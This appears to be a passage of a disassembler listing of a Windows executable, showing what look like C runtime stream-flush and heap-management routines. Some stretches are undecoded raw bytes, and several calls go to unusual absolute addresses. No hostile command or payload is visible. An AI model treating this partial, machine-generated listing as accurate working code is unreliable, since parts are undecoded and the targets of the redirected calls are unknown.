loc_41E1CE:				; CODE XREF: sub_41E0D4+1Aj
					; sub_41E0D4+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E0D4	endp

; ---------------------------------------------------------------------------
		db 50h
		dd 0D161B2BCh, 61E2065Ah, 1D8DCFA1h, 0A16499F8h, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 0E0E890E8h, 33024838h,	89D48AD2h
		dd 4DBDF415h, 81C88B00h, 0FFE1h, 0F00D8900h, 0C1004DBDh
		dd 0CA0308E1h, 0BDEC0D89h, 0E8C1004Dh, 0BDE8A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 0C4E8FC75h, 0E8000058h, 2483883h, 0D38CA390h, 82E8004Dh
		dd 0A3000057h, 4DBE34h,	552BE8h, 546DE800h, 0F9E80000h
		dd 89FFFFDEh, 458DD075h, 0E89050A4h, 2481D88h, 53FEE8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 0ECE89056h, 50022822h, 0FE2F80E8h, 0A04589FFh
		dd 0DEE7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	3CE85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDED9E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41E2C9	proc near		; CODE XREF: sub_41DA32+16p
					; ___:00423721p ...

arg_0		= dword	ptr  4

		cmp	dword_4DBE3C, 1
		jnz	short loc_41E2D7
		call	sub_423D98


loc_41E2D7:				; CODE XREF: sub_41E2C9+7j
		push	[esp+arg_0]
		call	sub_423DD1
		push	0FFh
		call	off_43AE40
		pop	ecx
		pop	ecx
		retn
sub_41E2C9	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DBE3C
		dd 0E8057501h, 5A9Ch, 42474FFh,	5ACCE8h, 0FF685900h, 90000000h
		dd 0A579A4E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E312	proc near		; CODE XREF: sub_41BA3B+2Ap
					; sub_42423B+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DD140
		jnb	loc_41E3AC
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E3AC
		push	edi
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E38B
		cmp	edi, 1
		jz	short loc_41E359
		cmp	edi, 2
		jnz	short loc_41E36F


loc_41E359:				; CODE XREF: sub_41E312+40j
		push	2
		call	sub_4240AA
		push	1
		mov	ebp, eax
		call	sub_4240AA
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41E38B


loc_41E36F:				; CODE XREF: sub_41E312+45j
		push	edi
		call	sub_4240AA
		pop	ecx
		push	eax
		nop
		call	near ptr 2680000h
		test	eax, eax
		jnz	short loc_41E38B
		call	near ptr 2690C56h
		nop
		mov	ebp, eax
		jmp	short loc_41E38D
; ---------------------------------------------------------------------------


loc_41E38B:				; CODE XREF: sub_41E312+3Bj
					; sub_41E312+5Bj ...
		xor	ebp, ebp


loc_41E38D:				; CODE XREF: sub_41E312+77j
		push	edi
		call	sub_424030
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41E3A8
		push	ebp
		call	sub_420C7F
		pop	ecx
		jmp	short loc_41E3BD
; ---------------------------------------------------------------------------


loc_41E3A8:				; CODE XREF: sub_41E312+8Bj
		xor	eax, eax
		jmp	short loc_41E3C0
; ---------------------------------------------------------------------------


loc_41E3AC:				; CODE XREF: sub_41E312+Ej
					; sub_41E312+2Fj
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_41E3BD:				; CODE XREF: sub_41E312+94j
		or	eax, 0FFFFFFFFh


loc_41E3C0:				; CODE XREF: sub_41E312+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E312	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3C5	proc near		; CODE XREF: sub_41BA3B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41E3EE
		test	al, 8
		jz	short loc_41E3EE
		push	dword ptr [esi+8]
		call	sub_41BA91
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41E3EE:				; CODE XREF: sub_41E3C5+Aj
					; sub_41E3C5+Ej
		pop	esi
		retn
sub_41E3C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3F0	proc near		; CODE XREF: sub_41E490+2Dp
					; sub_41E490+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41E402
		push	esi
		call	sub_41E490
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E402:				; CODE XREF: sub_41E3F0+7j
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jz	short loc_41E412
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E412:				; CODE XREF: sub_41E3F0+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41E427
		push	dword ptr [esi+10h]
		call	sub_4240E7
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E427:				; CODE XREF: sub_41E3F0+26j
		xor	eax, eax
		pop	esi
		retn
sub_41E3F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E42B	proc near		; CODE XREF: sub_41BA3B+1Ap
					; ___:0041DAC2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41E478
		test	ax, 108h
		jz	short loc_41E478
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E478
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41E471
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41E478
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41E478
; ---------------------------------------------------------------------------


loc_41E471:				; CODE XREF: sub_41E42B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41E478:				; CODE XREF: sub_41E42B+14j
					; sub_41E42B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E42B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E487	proc near		; CODE XREF: sub_4241E3p
		push	1
		call	sub_41E490
		pop	ecx
		retn
sub_41E487	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E490	proc near		; CODE XREF: sub_41E3F0+Ap
					; sub_41E487+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DD020, esi
		jle	short loc_41E4EE


loc_41E4A1:				; CODE XREF: sub_41E490+5Cj
		mov	eax, dword_4DC01C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E4E5
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41E4E5
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41E4CB
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E4E5
		inc	ebx
		jmp	short loc_41E4E5
; ---------------------------------------------------------------------------


loc_41E4CB:				; CODE XREF: sub_41E490+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41E4E5
		test	cl, 2
		jz	short loc_41E4E5
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E4E5
		or	edi, eax


loc_41E4E5:				; CODE XREF: sub_41E490+1Bj
					; sub_41E490+23j ...
		inc	esi
		cmp	esi, dword_4DD020
		jl	short loc_41E4A1


loc_41E4EE:				; CODE XREF: sub_41E490+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41E4F9
		mov	eax, edi


loc_41E4F9:				; CODE XREF: sub_41E490+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E490	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4FD	proc near		; CODE XREF: ___:0041E660p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 26A0587h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41E528
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41E528
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41E528:				; CODE XREF: sub_41E4FD+15j
					; sub_41E4FD+1Cj
		pop	esi
		retn
sub_41E4FD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41C500
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26E066Ah
		test	eax, eax
		jz	short loc_41E56D
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41E56D
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41E56D
		push	1
		pop	eax
		jmp	loc_41E66F
; ---------------------------------------------------------------------------


loc_41E56D:				; CODE XREF: ___:0041E551j
					; ___:0041E55Aj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 28B0000h
		test	eax, eax
		jz	loc_41E65C
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41E5AF


loc_41E59C:				; CODE XREF: ___:0041E5ADj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E5AA
		cmp	al, 7Ah
		jg	short loc_41E5AA
		sub	al, 20h
		mov	[ecx], al


loc_41E5AA:				; CODE XREF: ___:0041E5A0j
					; ___:0041E5A4j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E59C


loc_41E5AF:				; CODE XREF: ___:0041E59Aj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41C850
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E5D1
		lea	eax, [ebp-122Ch]
		jmp	short loc_41E61A
; ---------------------------------------------------------------------------


loc_41E5D1:				; CODE XREF: ___:0041E5C7j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 268050Ah
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41E605


loc_41E5F2:				; CODE XREF: ___:0041E603j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E600
		cmp	al, 7Ah
		jg	short loc_41E600
		sub	al, 20h
		mov	[ecx], al


loc_41E600:				; CODE XREF: ___:0041E5F6j
					; ___:0041E5FAj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E5F2


loc_41E605:				; CODE XREF: ___:0041E5F0j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx


loc_41E61A:				; CODE XREF: ___:0041E5CFj
		cmp	eax, ebx
		jz	short loc_41E65C
		push	2Ch
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41E65C
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41E641


loc_41E633:				; CODE XREF: ___:0041E63Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41E63C
		mov	[ecx], bl
		jmp	short loc_41E63D
; ---------------------------------------------------------------------------


loc_41E63C:				; CODE XREF: ___:0041E636j
		inc	ecx


loc_41E63D:				; CODE XREF: ___:0041E63Aj
		cmp	[ecx], bl
		jnz	short loc_41E633


loc_41E641:				; CODE XREF: ___:0041E631j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41C586
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41E66F
		cmp	eax, 3
		jz	short loc_41E66F
		cmp	eax, 1
		jz	short loc_41E66F


loc_41E65C:				; CODE XREF: ___:0041E586j
					; ___:0041E61Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41E4FD
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41E66F:				; CODE XREF: ___:0041E568j
					; ___:0041E650j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 492ABDE8h
		dd 0A3C08502h, 4DD384h,	93E83674h, 83FFFFFEh, 88A303F8h
		dd 75004DD3h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0D38435FFh, 0E890004Dh
		dd 249296Eh, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DD384h
		dd 191EE890h, 0C085023Dh, 4DD37CA3h, 0C3017500h, 4244C8Bh
		dd 0D3742583h, 8300004Dh, 4DD37825h, 16A0000h, 4DD370A3h
		dd 800D8900h, 0C7004DD3h, 4DD36805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E717	proc near		; CODE XREF: sub_41BA91+17p
					; sub_41BBE2+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DD378
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DD37C
		lea	ecx, [eax+ecx*4]


loc_41E727:				; CODE XREF: sub_41E717+26j
		cmp	eax, ecx
		jnb	short loc_41E73F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E741
		add	eax, 14h
		jmp	short loc_41E727
; ---------------------------------------------------------------------------


loc_41E73F:				; CODE XREF: sub_41E717+12j
		xor	eax, eax

locret_41E741:				; CODE XREF: sub_41E717+21j
		retn
sub_41E717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E742	proc near		; CODE XREF: sub_41BA91+23p
					; sub_41BBE2+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41EA66
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41E818
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E7A6
		push	3Fh
		pop	edx


loc_41E7A6:				; CODE XREF: sub_41E742+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E7FA
		cmp	edx, 20h
		jnb	short loc_41E7D1
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E7F2
; ---------------------------------------------------------------------------


loc_41E7D1:				; CODE XREF: sub_41E742+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E7F2:				; CODE XREF: sub_41E742+86j
					; sub_41E742+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41E7FD
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E742+6Aj
		mov	ecx, [ebp+var_4]


loc_41E7FD:				; CODE XREF: sub_41E742+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41E818:				; CODE XREF: sub_41E742+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E826
		push	3Fh
		pop	edx


loc_41E826:				; CODE XREF: sub_41E742+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E8C9
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41E84B
		mov	ebx, esi


loc_41E84B:				; CODE XREF: sub_41E742+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41E85D
		mov	edx, esi


loc_41E85D:				; CODE XREF: sub_41E742+117j
		cmp	ebx, edx
		jz	short loc_41E8C4
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E8AC
		cmp	ebx, 20h
		jnb	short loc_41E88D
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E8AC
; ---------------------------------------------------------------------------


loc_41E88D:				; CODE XREF: sub_41E742+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E8AC:				; CODE XREF: sub_41E742+128j
					; sub_41E742+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E8C4:				; CODE XREF: sub_41E742+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E8CC
; ---------------------------------------------------------------------------


loc_41E8C9:				; CODE XREF: sub_41E742+EDj
		mov	ebx, [ebp+arg_0]


loc_41E8CC:				; CODE XREF: sub_41E742+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E8DA
		cmp	ebx, edx
		jz	loc_41E95B


loc_41E8DA:				; CODE XREF: sub_41E742+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E95B
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E932
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E921
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E921:				; CODE XREF: sub_41E742+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E95B
; ---------------------------------------------------------------------------


loc_41E932:				; CODE XREF: sub_41E742+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E948
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E948:				; CODE XREF: sub_41E742+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E95B:				; CODE XREF: sub_41E742+192j
					; sub_41E742+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41EA66
		mov	eax, dword_4DD374
		test	eax, eax
		jz	loc_41EA58
		mov	ecx, dword_4DD36C
		mov	esi, dword_427068
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DD36C
		mov	eax, dword_4DD374
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DD374
		mov	ecx, dword_4DD36C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DD374
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DD374
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E9E9
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DD374


loc_41E9E9:				; CODE XREF: sub_41E742+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41EA58
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DD374
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DD384
		call	near ptr 27E0580h
		nop
		mov	eax, dword_4DD378
		mov	edx, dword_4DD37C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DD374
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D670
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DD378
		cmp	eax, dword_4DD374
		jbe	short loc_41EA4E
		sub	[ebp+arg_0], 14h


loc_41EA4E:				; CODE XREF: sub_41E742+306j
		mov	eax, dword_4DD37C
		mov	dword_4DD370, eax


loc_41EA58:				; CODE XREF: sub_41E742+234j
					; sub_41E742+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DD36C, edi
		mov	dword_4DD374, eax


loc_41EA66:				; CODE XREF: sub_41E742+38j
					; sub_41E742+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E742	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA6B	proc near		; CODE XREF: sub_41BBE2+77p
					; sub_41BEF3+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DD378
		mov	edx, dword_4DD37C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41EAAB
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41EABB
; ---------------------------------------------------------------------------


loc_41EAAB:				; CODE XREF: sub_41EA6B+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41EABB:				; CODE XREF: sub_41EA6B+3Ej
		mov	eax, dword_4DD370
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EAE2


loc_41EAC9:				; CODE XREF: sub_41EA6B+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EAE2
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41EAC9


loc_41EAE2:				; CODE XREF: sub_41EA6B+5Cj
					; sub_41EA6B+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41EB60
		mov	ebx, edx


loc_41EAE9:				; CODE XREF: sub_41EA6B+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB05
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EB03
		add	ebx, 14h
		jmp	short loc_41EAE9
; ---------------------------------------------------------------------------


loc_41EB03:				; CODE XREF: sub_41EA6B+91j
		cmp	ebx, eax


loc_41EB05:				; CODE XREF: sub_41EA6B+83j
		jnz	short loc_41EB60


loc_41EB07:				; CODE XREF: sub_41EA6B+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41EB1D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB1A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41EB07
; ---------------------------------------------------------------------------


loc_41EB1A:				; CODE XREF: sub_41EA6B+A5j
		cmp	ebx, [ebp+var_4]


loc_41EB1D:				; CODE XREF: sub_41EA6B+9Fj
		jnz	short loc_41EB45
		mov	ebx, edx


loc_41EB21:				; CODE XREF: sub_41EA6B+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB35
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB33
		add	ebx, 14h
		jmp	short loc_41EB21
; ---------------------------------------------------------------------------


loc_41EB33:				; CODE XREF: sub_41EA6B+C1j
		cmp	ebx, eax


loc_41EB35:				; CODE XREF: sub_41EA6B+BBj
		jnz	short loc_41EB45
		call	sub_41ED74
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41EB59


loc_41EB45:				; CODE XREF: sub_41EA6B:loc_41EB1Dj
					; sub_41EA6B:loc_41EB35j
		push	ebx
		call	sub_41EE25
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EB60


loc_41EB59:				; CODE XREF: sub_41EA6B+D8j
		xor	eax, eax
		jmp	loc_41ED6F
; ---------------------------------------------------------------------------


loc_41EB60:				; CODE XREF: sub_41EA6B+7Aj
					; sub_41EA6B:loc_41EB05j ...
		mov	dword_4DD370, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41EB87
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EBBE


loc_41EB87:				; CODE XREF: sub_41EA6B+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41EBBB


loc_41EBA4:				; CODE XREF: sub_41EA6B+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41EBA4


loc_41EBBB:				; CODE XREF: sub_41EA6B+137j
		mov	edx, [ebp+var_4]


loc_41EBBE:				; CODE XREF: sub_41EA6B+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
